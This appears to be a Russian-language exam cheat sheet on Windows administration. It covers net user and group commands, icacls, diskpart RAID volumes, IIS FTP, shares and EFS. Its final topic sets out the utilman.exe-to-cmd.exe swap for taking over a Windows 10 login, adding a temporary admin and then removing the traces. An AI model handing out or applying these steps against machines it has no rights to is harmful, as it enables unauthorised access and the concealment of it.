Список экзаменационных тем

1) Локальные группы и пользователи  
  
C:\Windows\system32>  
  
net localgroup <group\_name> /add /comment:”text of comment”

net user <user\_name> <password> /add /passwordreq:yes /fullname:”USER\_USER” /logonpasswordchg:yes /times:Monday-Friday,10:00-20:00; Saturday-Sunday,12:00-18:00

net localgroup <existing\_group\_name> <existing\_user\_name> /add

net localgroup “Пользователи” <existing\_user\_name> /delete  
  
\* using “” when names contains spaces or in russian

2) Настройки безопасности папок, файлов, дисков  
C:\Windows\system32>

mkdir

NUL>

icacls <file/folder path> /grant:r <Group/User name>:<privileges\_mask> <another Group/User name>:(<privileges\_mask\_1>, <privileges\_mask\_2>) /T

3) Глобальные политики безопасности  
gpedit.msc

4) Diskpart  
[**RAID 0**](https://integrus.ru/blog/it-decisions/vosstanovlenie-raid-0.html)**(также называют «Striping» — Чередование) предполагает разделение информации на блоки и одновременная запись разных блоков на разные диски.**[**RAID 1**](https://integrus.ru/blog/it-decisions/vosstanovlenie-raid-1.html)**(также называют «Mirror» — Зеркало)** **предполагает полное дублирование данных с одного физического диска на другой  
RAID 5 можно назвать более усовершенствованным RAID 0**. Можно использовать от 3 жестких дисков. На все, кроме одного записывается рейд 0, а на последний специальная контрольная сумма  
**RAID 10 Является миксом RAID массивов 1 и 0. И объединяет в себе плюсы от каждого: высокая производительность и высокая отказоустойчивость.  
RAID 50 Является миксом RAID массивов 5 и 0**. Строится RAID 5, но его составляющими будут не самостоятельные жесткие диски, а массивы RAID 0.  
**Выводы**

На практике чаще всего используют только три вида RAID-массивов.   
Это: RAID 1, RAID 10 и RAID 5.  
С точки зрения соотношения стоимость / производительность / отказоустойчивость рекомендуется использовать:

* **RAID 1** (зеркалирование) для формирования дисковой подсистемы для пользовательских операционных систем.
* **RAID 10** для данных, имеющих высокие требования к скорости записи и чтения. Например, для хранения баз 1С:Предприятие, почтового сервера, AD.
* **RAID 5**  используют для хранения файловых данных.

select disk 1  
clean  
convert dynamic

select disk 2  
clean  
convert dynamic

create volume simple size=100 disk=1  
//select volume 4  
extend size=100 disk=2  
format label=”SIMPLE”  
assign letter=A

create volume stripe size=100 disk=1,2  
format label=”STRIPE”  
assign letter=B

create volume mirror disk=1,2  
format label=”MIRROR”  
assign letter=M

5) Системный монитор  
СЧЕТИКИ не счетчики

6) FTP

- статичечкий IP  
- компоненты windows => службы IIS + => FTP  
- папка для FTP  
- Администрирование => службы IIS => Создать сайт FTP => No SSL => сведения о проверки подлинности => все галочки  
- Проверка: проводник ftp://192.168.2.14/

7) Удалённый рабочий стол  
Параметры => Удаленный рабочий стол

8) Статический ip

Свойства адаптера IPv4. DNS Google 8.8.8.8 // 8.8.4.4

9) Планировщик заданий

10) Общая сетевая папка  
- статичечкий IP

- настройка общего доступа

- папка

- разные сетевые имена

- \\192.168.2.14

11) Квоты  
нехуй делать

12) Шифрование ESP

Свойства файла/папки

13) Взлом учётной записи Windows 10  
Shift+F10 = console

Diskpart => List disk => select <System Disk> => list volume => boot letter?  
  
cd boot:\windows\system32

rename utilman.exe utilman1.exe  
copy cmd.exe utilman.exe

\*\*\*  
netplwiz = local user wizard   
либо// mmc   
либо// net user new 111 /add + netlocalgroup “Администраторы” new /add  
create new admin  
<do what you want>  
delete new admin (through console at startup)

\*\*\* deleting new admin folders (they will remain at \Users\)  
rd d:\Users\"new admin name" /s

\*\*\* renaming all back and clean \*\*\*

del d:\windows\system32\utilman.exe

rename d:\windows\system32\utilman1.exe utilman.exe